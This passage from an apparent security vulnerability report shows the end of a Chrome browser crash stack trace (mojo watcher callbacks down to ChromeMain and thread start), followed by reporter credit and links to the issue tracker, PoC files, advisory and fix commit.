1b (Inline Function) --------`--------     chrome!base::internal::DecayedFunctorTraits&lt;void (*)(const base::RepeatingCallback&lt;void (unsigned int)&gt; &, unsigned int, const mojo::HandleSignalsState &),const base::RepeatingCallback&lt;void (unsigned int)&gt; &&gt;::Invoke+0x50 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 664] 
1c (Inline Function) --------`--------     chrome!base::internal::InvokeHelper&lt;0,base::internal::FunctorTraits&lt;void (*const &)(const base::RepeatingCallback&lt;void (unsigned int)&gt; &, unsigned int, const mojo::HandleSignalsState &),const base::RepeatingCallback&lt;void (unsigned int)&gt; &&gt;,void,0&gt;::MakeItSo+0x50 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 923] 
1d (Inline Function) --------`--------     chrome!base::internal::Invoker&lt;base::internal::FunctorTraits&lt;void (*const &)(const base::RepeatingCallback&lt;void (unsigned int)&gt; &, unsigned int, const mojo::HandleSignalsState &),const base::RepeatingCallback&lt;void (unsigned int)&gt; &&gt;,base::internal::BindState&lt;0,1,0,void (*)(const base::RepeatingCallback&lt;void (unsigned int)&gt; &, unsigned int, const mojo::HandleSignalsState &),base::RepeatingCallback&lt;void (unsigned int)&gt; &gt;,void (unsigned int, const mojo::HandleSignalsState &)&gt;::RunImpl+0x50 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 1060] 
1e (Inline Function) --------`--------     chrome!base::internal::Invoker&lt;base::internal::FunctorTraits&lt;void (*const &)(const base::RepeatingCallback&lt;void (unsigned int)&gt; &, unsigned int, const mojo::HandleSignalsState &),const base::RepeatingCallback&lt;void (unsigned int)&gt; &&gt;,base::internal::BindState&lt;0,1,0,void (*)(const base::RepeatingCallback&lt;void (unsigned int)&gt; &, unsigned int, const mojo::HandleSignalsState &),base::RepeatingCallback&lt;void (unsigned int)&gt; &gt;,void (unsigned int, const mojo::HandleSignalsState &)&gt;::Run+0x55 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 980] 
1f (Inline Function) --------`--------     chrome!base::RepeatingCallback&lt;void (unsigned int, const mojo::HandleSignalsState &)&gt;::Run+0x90 [C:\b\s\w\ir\cache\builder\src\base\functional\callback.h @ 344] 
20 (Inline Function) --------`--------     chrome!mojo::SimpleWatcher::OnHandleReady+0x137 [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\system\simple_watcher.cc @ 278] 
21 (Inline Function) --------`--------     chrome!base::internal::DecayedFunctorTraits&lt;void (SimpleWatcher::*)(int, unsigned int, const mojo::HandleSignalsState &),base::WeakPtr<mojo::SimpleWatcher> &&,int &&,unsigned int &&,mojo::HandleSignalsState &&&gt;::Invoke+0x174 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 731] 
22 (Inline Function) --------`--------     chrome!base::internal::InvokeHelper&lt;1,base::internal::FunctorTraits&lt;void (SimpleWatcher::*&&)(int, unsigned int, const mojo::HandleSignalsState &),base::WeakPtr<mojo::SimpleWatcher> &&,int &&,unsigned int &&,mojo::HandleSignalsState &&&gt;,void,0,1,2,3&gt;::MakeItSo+0x198 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 947] 
23 (Inline Function) --------`--------     chrome!base::internal::Invoker&lt;base::internal::FunctorTraits&lt;void (SimpleWatcher::*&&)(int, unsigned int, const mojo::HandleSignalsState &),base::WeakPtr<mojo::SimpleWatcher> &&,int &&,unsigned int &&,mojo::HandleSignalsState &&&gt;,base::internal::BindState&lt;1,1,0,void (SimpleWatcher::*)(int, unsigned int, const mojo::HandleSignalsState &),base::WeakPtr<mojo::SimpleWatcher>,int,unsigned int,mojo::HandleSignalsState&gt;,void ()&gt;::RunImpl+0x198 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 1060] 
24 (Inline Function) --------`--------     chrome!base::internal::Invoker&lt;base::internal::FunctorTraits&lt;void (SimpleWatcher::*&&)(int, unsigned int, const mojo::HandleSignalsState &),base::WeakPtr<mojo::SimpleWatcher> &&,int &&,unsigned int &&,mojo::HandleSignalsState &&&gt;,base::internal::BindState&lt;1,1,0,void (SimpleWatcher::*)(int, unsigned int, const mojo::HandleSignalsState &),base::WeakPtr<mojo::SimpleWatcher>,int,unsigned int,mojo::HandleSignalsState&gt;,void ()&gt;::RunOnce+0x198 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 973] 
25 (Inline Function) --------`--------     chrome!base::OnceCallback&lt;void ()&gt;::Run+0x502 [C:\b\s\w\ir\cache\builder\src\base\functional\callback.h @ 156] 
26 (Inline Function) --------`--------     chrome!base::TaskAnnotator::RunTaskImpl+0x5f2 [C:\b\s\w\ir\cache\builder\src\base\task\common\task_annotator.cc @ 207] 
27 (Inline Function) --------`--------     chrome!base::TaskAnnotator::RunTask+0x652 [C:\b\s\w\ir\cache\builder\src\base\task\common\task_annotator.h @ 104] 
28 (Inline Function) --------`--------     chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl+0xcfc [C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 473] 
29 00000074`515fdd20 00007ff8`b0fda20d     chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork+0xd8f [C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 347] 
2a 00000074`515fe530 00007ff8`adb2b6ac     chrome!base::MessagePumpForUI::DoRunLoop+0x7d [C:\b\s\w\ir\cache\builder\src\base\message_loop\message_pump_win.cc @ 264] 
2b 00000074`515fe630 00007ff8`b2233112     chrome!base::MessagePumpWin::Run+0xac [C:\b\s\w\ir\cache\builder\src\base\message_loop\message_pump_win.cc @ 88] 
2c 00000074`515fe6a0 00007ff8`ae3d40c6     chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run+0xf2 [C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 651] 
2d 00000074`515fe730 00007ff8`ae528466     chrome!base::RunLoop::Run+0x1c6 [C:\b\s\w\ir\cache\builder\src\base\run_loop.cc @ 136] 
2e 00000074`515fe840 00007ff8`ae528135     chrome!content::BrowserMainLoop::RunMainMessageLoop+0xc6 [C:\b\s\w\ir\cache\builder\src\content\browser\browser_main_loop.cc @ 1111] 
2f (Inline Function) --------`--------     chrome!content::BrowserMainRunnerImpl::Run+0xf [C:\b\s\w\ir\cache\builder\src\content\browser\browser_main_runner_impl.cc @ 156] 
30 00000074`515fe8b0 00007ff8`ae526ccf     chrome!content::BrowserMain+0x125 [C:\b\s\w\ir\cache\builder\src\content\browser\browser_main.cc @ 32] 
31 (Inline Function) --------`--------     chrome!content::RunBrowserProcessMain+0x97 [C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc @ 701] 
32 00000074`515fe970 00007ff8`ae4da638     chrome!content::ContentMainRunnerImpl::RunBrowser+0x7af [C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc @ 1278] 
33 00000074`515feb60 00007ff8`ae4d9892     chrome!content::ContentMainRunnerImpl::Run+0x268 [C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc @ 1127] 
34 (Inline Function) --------`--------     chrome!content::RunContentProcess+0x351 [C:\b\s\w\ir\cache\builder\src\content\app\content_main.cc @ 356] 
35 00000074`515fece0 00007ff8`ae4d8084     chrome!content::ContentMain+0x3c2 [C:\b\s\w\ir\cache\builder\src\content\app\content_main.cc @ 369] 
36 00000074`515fef20 00007ff7`72d81d07     chrome!ChromeMain+0x2a4 [C:\b\s\w\ir\cache\builder\src\chrome\app\chrome_main.cc @ 224] 
37 00000074`515ff1b0 00007ff7`72d8080b     chrome_exe!MainDllLoader::Launch+0x407 [C:\b\s\w\ir\cache\builder\src\chrome\app\main_dll_loader_win.cc @ 201] 
38 00000074`515ff440 00007ff7`72eaf6f2     chrome_exe!wWinMain+0x23b [C:\b\s\w\ir\cache\builder\src\chrome\app\chrome_exe_main_win.cc @ 352] 
39 (Inline Function) --------`--------     chrome_exe!invoke_main+0x21 [D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 118] 
3a 00000074`515ff840 00007ff9`d632e8d7     chrome_exe!__scrt_common_main_seh+0x106 [D:\a\_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 288] 
3b 00000074`515ff880 00007ff9`d6bdc34c     KERNEL32!BaseThreadInitThunk+0x17
3c 00000074`515ff8b0 00000000`00000000     ntdll!RtlUserThreadStart+0x2c

CREDIT INFORMATION Reporter credit: Looben Yang

View on issue tracker

Uploaded PoC files

Links in the report

References

Vendor advisory Fix commit Bug tracker NVD

On This Page